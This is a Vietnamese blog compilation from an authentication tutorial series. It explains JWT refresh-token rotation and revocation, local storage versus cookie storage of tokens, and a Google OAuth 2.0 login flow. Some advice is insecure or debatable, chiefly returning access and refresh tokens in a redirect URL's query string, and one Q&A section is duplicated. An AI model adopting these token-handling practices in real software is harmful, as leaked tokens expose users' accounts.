Tương tự nếu
mình muốn logout một người dùng nào đó thì mình cũng có thể xóa refresh token của
người đó trong database. Sau khoản thời gian access token họ hết hạn thì họ thực
hiện refresh token sẽ không thành công và họ sẽ bị logout. Có điều là nó không
tức thời, mà phải đợi đến khi access token hết hạn thì mới logout được.
Chúng ta cũng
có thể cải thiện thêm bằng cách cho thời gian hết hạn access token ngắn lại và
dùng websocket để thông báo cho client logout ngay lập tức.
4. Trả lời một vạn câu hỏi vì sao về JWT
Tại
sao lại tạo một refresh token mới khi chúng ta thực hiện refresh token?
Vì nếu refresh
token bị lộ, hacker có thể sử dụng nó để lấy access token mới, điều này khá
nguy hiểm. Vậy nên dù refresh token có thời gian tồn tại rất lâu, nhưng cứ sau
vài phút khi access token hết hạn và thực hiện refresh token thì mình lại tạo một
refresh token mới và xóa refresh token cũ.
Lưu ý là cái
Refresh Token mới vẫn giữ nguyên ngày giờ hết hạn của Refresh Token cũ.
Cái cũ hết hạn vào 5/10/2023 thì cái mới cũng hết hạn vào 5/10/2023.
Cái này gọi
là refresh token rotation.
Làm
thế nào để revoke (thu hồi) một access token?
Các bạn có thể
hiểu revoke ở đây nghĩa là thu hồi hoặc vô hiệu hóa
Như mình đã
nói ở trên thì access token chúng ta thiết kế nó là stateless, nên không có
cách nào revoke ngay lập tức đúng nghĩa được mà chúng ta phải chữa
cháy thông qua websocket và revoke refresh token
Còn nếu bạn muốn
revoke ngay thì bạn phải lưu access token vào trong database, khi muốn revoke
thì xóa nó trong database là được, nhưng điều này sẽ làm access token không còn
stateless nữa.
Làm
thế nào để revoke (thu hồi) một access token?
Các bạn có thể
hiểu revoke ở đây nghĩa là thu hồi hoặc vô hiệu hóa
Như mình đã
nói ở trên thì access token chúng ta thiết kế nó là stateless, nên không có
cách nào revoke ngay lập tức đúng nghĩa được mà chúng ta phải chữa
cháy thông qua websocket và revoke refresh token
Còn nếu bạn muốn
revoke ngay thì bạn phải lưu access token vào trong database, khi muốn revoke
thì xóa nó trong database là được, nhưng điều này sẽ làm access token không còn
stateless nữa.
Có
khi nào có 2 JWT trùng nhau hay không?
Có! Nếu
payload và secret key giống nhau thì 2 JWT sẽ giống nhau.
Các bạn để ý
thì trong payload JWT sẽ có trường iat (issued at) là thời gian tạo
ra JWT (đây là trường mặc định, trừ khi bạn disable nó). Và trường iat nó
được tính bằng giây.
Vậy nên nếu
chúng ta tạo ra 2 JWT trong cùng 1 giây thì lúc thì trường iat của
2 JWT này sẽ giống nhau, cộng với việc payload các bạn truyền vào giống nhau nữa
thì sẽ cho ra 2 JWT giống nhau.
Ở
client thì nên lưu access token và refresh token ở đâu?
Nếu trình duyệt
thì các bạn lưu ở cookie hay local storage đều được, mỗi cái đều có ưu nhược điểm
riêng. Nhưng cookie sẽ có phần chiếm ưu thế hơn "1 tí xíu" về độ bảo
mật.
Chi tiết so
sánh giữa local storage và cookie thì mình sẽ có một bài viết sau nhé.
Còn nếu là
mobile app thì các bạn lưu ở bộ nhớ của thiết bị.
Gửi
access token lên server như thế nào?
Sẽ có 2 trường
hợp
Lưu cookie: Nó
sẽ tự động gửi mỗi khi request đến server, không cần quan tâm nó.
Lưu local
storage: Các bạn thêm vào header với key là Authorization và giá trị
là Bearer <access_token>.
Tại
sao phải thêm Bearer vào trước access token?
Thực ra bạn
thêm hay không thêm thì phụ thuộc vào cách server backend họ code như thế nào.
Để mà code api
authentication chuẩn, thì server nên yêu cầu client phải
thêm Bearer vào trước access token. Mục đích để nói xác thực là
"Bearer Authentication" (xác thực dựa trên token).
Bearer
Authentication được đặt tên dựa trên từ "bearer" có nghĩa là
"người mang" - tức là bất kỳ ai có token này sẽ được coi là người có
quyền truy cập vào tài nguyên được yêu cầu. Điều này khác với các phương pháp
xác thực khác như "Basic Authentication" (xác thực cơ bản) hay
"Digest Authentication" (xác thực băm), cần sử dụng thông tin đăng nhập
người dùng.
Việc thêm
"Bearer" vào trước access token có một số mục đích chính:
Xác định loại
xác thực: Cung cấp thông tin cho máy chủ về phương thức xác thực mà ứng dụng
khách muốn sử dụng. Điều này giúp máy chủ xử lý yêu cầu một cách chính xác hơn.
Tính chuẩn mực:
Sử dụng tiền tố "Bearer" giúp đảm bảo rằng các ứng dụng và máy chủ
tuân theo các quy tắc chuẩn trong cách sử dụng và xử lý token.
Dễ phân biệt:
Thêm "Bearer" giúp phân biệt giữa các loại token và xác thực khác
nhau. Ví dụ, nếu máy chủ hỗ trợ nhiều phương thức xác thực, từ
"Bearer" sẽ giúp máy chủ xác định loại xác thực đang được sử dụng dựa
trên token.
Khi sử dụng
Bearer Authentication, tiêu đề Authorization trong yêu cầu HTTP sẽ
trông như sau:
Authorization:
Bearer your_access_token
Khi
tôi logout, tôi chỉ cần xóa access token và refresh token ở bộ nhớ của client
là được chứ?
Nếu bạn không
gọi api logout mà đơn thuần chỉ xóa access token và refresh token ở bộ nhớ của
client thì bạn vẫn sẽ logout được, nhưng sẽ không tốt cho hệ thống về mặt bảo mật.
Vì refresh token vẫn còn tồn tại ở database, nếu hacker có thể lấy được refresh
token của bạn thì họ vẫn có thể lấy được access token mới.
Tôi
có nghe về OAuth 2.0, vậy nó là gì?
OAuth 2.0 là một
giao thức xác thực và ủy quyền tiêu chuẩn dành cho ứng dụng web, di động và máy
tính để bàn. Nó cho phép ứng dụng của bên thứ ba (còn gọi là ứng dụng khách)
truy cập dữ liệu và tài nguyên của người dùng từ một dịch vụ nhà cung cấp (như
Google, Facebook, Twitter, ...) mà không cần biết thông tin đăng nhập của người
dùng.
Nói đơn giản,
nó chỉ là một giao thức thôi, ứng dụng là làm mấy chức năng như đăng nhập bằng
google, facebook trên chính website chúng ta á.
Về cái này
mình sẽ có một bài viết riêng luôn, vẫn trong series này nhé.
IV. [P4] GIẢI NGỐ AUTHENTICATION: LƯU JWT
TOKEN Ở LOCAL STORAGE HAY COOKIE?
Có rất nhiều
tranh cãi xung quanh việc lưu token ở đâu? Có người lưu ở Local Storage, có người
lưu ở Cookie, có người lưu ở Session Storage, có người lưu ở RAM, có người lưu ở
IndexedDB, có người lưu ở WebSQL, có người lưu ở đâu đó khác nữa...
Vậy thực sự
thì lưu ở đâu mới tốt?
1. Tóm tắt về Access Token và Refresh Token
Access Token:
Là một token có thời gian sống ngắn, được tạo ra bởi server, lưu ở client và
client sẽ đính kèm nó vào HTTP request khi gửi request lên server, nhằm giúp
server xác thực client.
Refresh Token:
token có thời gian sống dài hơn, được lưu trong database ở server và lưu ở
client, dùng để tạo ra access token mới mỗi khi access token hết hạn.
Với đa số các
dự án thì mình sẽ không chọn lưu ở Session Storage và Ram (lưu trong 1 biến của
JavaScript) bởi vì:
Nếu lưu ở
Session Storage thì khi bạn đóng trình duyệt đi mở lại thì session storage sẽ bị
xóa => Bạn sẽ phải đăng nhập lại.
Nếu lưu ở RAM
thì bạn sẽ không thể chia sẻ access token giữa các tab trình duyệt được, cũng
như đóng tab thì access token sẽ mất => Bạn sẽ phải đăng nhập lại
Rõ ràng UX
trong 2 trường hợp này không tốt, trừ khi yêu cầu dự án của các bạn là như vậy.
Ưu điểm
Nhanh, tiện lợi,
không cần phụ thuộc vào backend để lưu trữ.
Bộ nhớ khá lớn,
thường là trên 5MB
Có thể tự quyết
định request nào cần access token để gửi lên server, request nào không cần
Không tự động
gửi access token lên server, nên nếu bị tấn công CSRF thì attacker không thể lấy
được access token của bạn.
Nhược điểm
Nếu bị tấn
công XSS thì attacker có thể lấy được access token
Một website có
thể bị tấn công XSS từ khá là nhiều nguồn, ví dụ như: Do chính code chúng ta viết
ra có lỗ hổng, do các thư viện bên thứ 3 như React, Vue, Lodash,...
Đây là cái lý
do duy nhất mà một số người anti localstorage một cách cực đoan.
Ưu điểm
Không thể truy
cập được từ Javascript nếu bạn set thuộc tính httpOnly, nên nếu có bị tấn
công XSS thì cũng không lấy được token của bạn.
Nhược điểm
Có một cái nhược
điểm đó là có thể bị tấn công CSRF, nhưng bạn có thể giải quyết bằng cách thêm
một số thuộc tính cho cookie
như sameSite, secure, domain, path để giảm thiểu khả
năng bị tấn công CSRF.
Ngoài ra nếu
dùng các framework SPA ngày nay nữa thì khả năng bị tấn công CSRF cũng không
còn cao nữa. Vậy nên mình không cho đây là nhược điểm.
Vậy theo mình
nhược điểm khi dùng Cookie là
Bạn không thể
lấy được các payload của JWT token, vì JavaScript không truy cập được vào
cookie nếu chúng ta set thuộc tính httpOnly cho cookie.
Bộ nhớ Cookie
trên trình duyệt rất bé, loanh quanh 4KB thôi.
Dùng cookie
thì phía backend sẽ phải xử lý thêm một số thứ như: parse cookie, set cookie,
kiểm tra request đến server. Nếu đến từ browser thì parse cookie, nếu đến từ
mobile app thì dùng header Authorization để lấy token...
Bạn thấy đấy,
lưu ở đâu cũng có ưu nhược riêng.
Tại
sao chúng ta không kết hợp cả 2 nhỉ?
Cookie đem lại
ưu thế hơn 1 xíu về độ bảo mật khi so với local storage, nhưng cũng làm mất đi
cái hay của JWT là có thể đọc được payload của JWT token ở client.
Có những trường
hợp chúng ta cần đọc payload để biết thời gian hết hạn của token chẳng hạn,
nhưng không lấy được access token ở trong cookie cũng khá là khó chịu.
Giải quyết vấn
đề này thì chúng ta có thể chia access token làm 2 phần:
Header.Payload thì
lưu ở local storage
Signature thì
lưu ở cookie
Khi gửi lên
server thì server sẽ ghép 2 phần này lại thành 1 và kiểm tra tính hợp lệ của
token.
Như vậy thì
client có thể đọc được payload JWT và cũng giữ lại ưu điểm của việc lưu ở
Cookie.
Vậy
thì không nên lưu token ở Local Storage à?
Chúng ta cần
làm rõ thế này, lưu trữ access token ở Cookie không giúp chúng ta tránh được tấn
công XSS mà khi bị tấn công XSS thì hacker khó lấy được access token của bạn
hơn thôi.
Nhiều người
không hình dung ra được mức độ thiệt hại khi bị tấn công XSS nó lớn như thế
nào.
Một website mà
bị tấn công XSS nghĩa là web đấy toang, hacker có thể làm được nhiều việc
nghiêm trọng hơn là lấy được access token của bạn. Ví dụ:
Điều khiển
website của bạn để lừa người dùng gửi tiền vào tài khoản của hacker
Hiển thị popup
yêu cầu người dùng nhập username/password để lấy thông tin người dùng
Vậy nên lưu
token ở Local Storage mình thấy rất là bình thường, nó đem lại sự tiện lợi cho
cả phía Front-End lẫn Back-End, không có vấn đề gì phải anti nó cả.
Muốn cân bằng
giữa Cookie và Local Storage thì có thể kết hợp cả 2 như mình đã nói ở trên, rồi
mã hóa thêm bằng một thuật toán nữa ở phía client cho tăng độ khó,...
Nói chung muốn
bảo mật hơn thì có nhiều cách lắm, nhưng hãy nghĩ xem nó có thực sự cần thiết
hay không, liệu nó có đáng để bỏ thời gian ra làm hay không.
À xíu nữa
quên, nếu API chỉ nhận access token thông quan HTTP
Header Authorization thì lại thêm 1 lý do nữa để chúng ta lưu token ở
Local Storage rồi.
XSS
là game over, bất kể bạn lưu token ở đâu
Lưu token ở
Local Storage hay Cookie đều ổn, không có gì phải anti cả.
Muốn cân bằng
giữa ưu điểm của cả 2 thì có thể kết hợp cả 2.
Mã hóa thêm 1
vài bước ở client nếu muốn tăng độ bảo mật.
V. [P5] GIẢI NGỐ AUTHENTICATION: OAUTH 2.0
Nhiều khi tự hỏi
OAuth 2.0 là gì? Nghe cao siêu thế nhỉ?
Thực ra thì nó
cũng không phải gì cao siêu đâu, nó là cái giao thức để làm mấy chức năng như:
Đăng nhập bằng tài khoản Google, Facebook, Github,... đó.
Shopee cũng có OAuth 2 với việc cho phép đăng nhập bằng Google,
Facebook
OAuth 2.0, viết
tắt của “Open Authorization”, là một tiêu chuẩn được thiết kế để cho phép
một trang web hoặc ứng dụng thay mặt người dùng truy cập các tài nguyên được
lưu trữ bởi các ứng dụng web khác.
Trước đây thì
có OAuth 1.0, nhưng nó có nhiều vấn đề nên đã được thay thế bằng OAuth 2.0.
1. Đăng ký dịch vụ Google OAuth
Muốn thực hiện
chức năng đăng ký / đăng nhập bằng một bênh thứ 3 như Google, Facebook,
Github,... thì chúng ta cần phải đăng ký dịch vụ của họ trước, để họ biết App
chúng ta là gì, cần truy cập vào thông tin gì,...
Dưới đây mình
sẽ hướng dẫn mọi người đăng ký trong môi trường test, nghĩa là chúng ta sẽ đăng
ký dịch vụ Google OAuth để chạy trên localhost.
Sau này muốn
chạy trên domain thật thì nó có button Publish App, bạn làm theo hướng dẫn
của họ là được thôi.
Ở đây mình giả
sử URL của mình như sau
Client: http://localhost:3000
Server: http://localhost:4000
1.
Tạo project trên Google Cloud Console
Mặc dù mình
nói là flow Google nhưng Facebook, Github, Twitter, ... cũng tương tự như vậy.
Mấy ông mạng xã hội này đều dùng chung flow OAuth 2.0 mà.
Giả sử
Website
React.js của mình là https://duthanhduoc.com
Server API
Express.js của mình là https://api.duthanhduoc.com
Thì flow đăng
nhập bằng Google OAuth sẽ như sau:
Người dùng
truy cập vào https://duthanhduoc.com/login và click vào nút Đăng
nhập bằng Google
Website của
mình sẽ redirect người dùng đến https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?redirect_uri=http%3A%2F%2Flocalhost%3A4000%2Fapi%2Foauth%2Fgoogle&client_id=480331042606-gm573du1155724l8f780em2fel1a5dd3.apps.googleusercontent.com&access_type=offline&response_type=code&prompt=consent&scope=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.profile%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email&service=lso&o2v=2&flowName=GeneralOAuth
Flow để người dùng chọn tài khoản đăng nhập vào Google. Các bạn để ý có mấy
tham số query trên url là do website mình tự config và truyền vào. Google sẽ
xác thực cái các query này để xem thử đây là App nào, đã đăng ký Consent hay
chưa, có được phép truy cập vào thông tin người dùng hay không.
Người dùng chọn
tài khoản Google để đăng nhập, khi đăng nhập thành công sẽ được google cho
redirect về https://api.duthanhduoc.com/api/oauth/google?code=4%2F0AbUR2VPc2mJ0zoSxvWVI2XwyCV-8PwkVpIoUu1SBfV3CSYJ30orHOff_fse9GzsG0UpTtw&scope=email+profile+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.profile+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+openid&authuser=0&prompt=consent
.Đây là url api server của mình. Lúc này các bạn cũng để ý các query phía sau
url như code, scope, đây là những tham số do google tự sinh ra và gửi
lại cho mình.
Server sẽ lấy
được giá trị code thông qua query và tiến hành gọi lên Google API để
lấy thông tin id_token và access_token.
Server sẽ lấy
thông tin id_token và access_token để gọi lên Google API 1
lần nữa để lấy thông tin người dùng như email, name, avatar, ...
Có được email
người dùng rồi thì kiểm tra trong database xem thử email này đã được đăng ký
chưa. Nếu chưa thì tạo mới user (mật khẩu có thể cho random, sau này người dùng
reset mật khẩu để đổi mật khẩu cũng được)
Tạo access_token và refresh_token
Server
redirect về
https://duthanhduoc.com/login?access_token=...&refresh_token=...
Website của
mình nhận được access_token và refresh_token qua query và
tiến hành lưu vào local storage để sử dụng cho các request sau. Dùng cookie thì
tại bước 8 chúng ta sẽ redirect về https://duthanhduoc.com/login và
set cookie ở đây.
Đấy, nói chung
flow cơ bản sẽ diễn ra như thế, còn biến tấu gì thêm là tùy vào hệ thống mỗi
người.
OAuth 2.0 là một
giao thức ủy quyền (authorization protocol) chứ không phải là một
giao thức xác thực (authentication protocol).
OAuth 2.0 sử dụng access
token để ủy quyền cho các ứng dụng truy cập vào các tài nguyên người dùng.
Thường thì access token này sẽ theo format JWT (JSON Web Token).
Một hệ thống
OAuth 2.0 bao gồm 4 bên:
Resource
Owner: là người sở hữu tài nguyên, ví dụ như người dùng của ứng dụng.
Resource
Server: là nơi lưu trữ tài nguyên, ví dụ như server API của ứng dụng.
Client: là ứng
dụng muốn truy cập vào tài nguyên của người dùng.
Authorization
Server: là nơi cấp phát access token cho client (thường là cùng một server với
Resource Server).
Phạm vi
(Scopes) là concept quan trọng của OAuth 2.0. Nó cho phép người dùng có thể chọn
xem ứng dụng sẽ được phép truy cập vào những tài nguyên nào. Lúc mà chúng ta
login thì sẽ thấy có một popup hiện lên thông báo ứng dụng sẽ truy cập vào những
thông tin gì của người dùng.
Nguồn tham khảo:
https://duthanhduoc.com/blog/p1-giai-ngo-authentication-basic-authentication
https://duthanhduoc.com/blog/p2-giai-ngo-authentication-session
https://duthanhduoc.com/blog/p3-giai-ngo-authentication-jwt
https://duthanhduoc.com/blog/p4-luu-jwt-token-o-localstorage-hay-cookie
https://duthanhduoc.com/blog/p5-giai-ngo-authentication-OAuth2
Tham khảo thêm:
0 comments:
Đăng nhận xét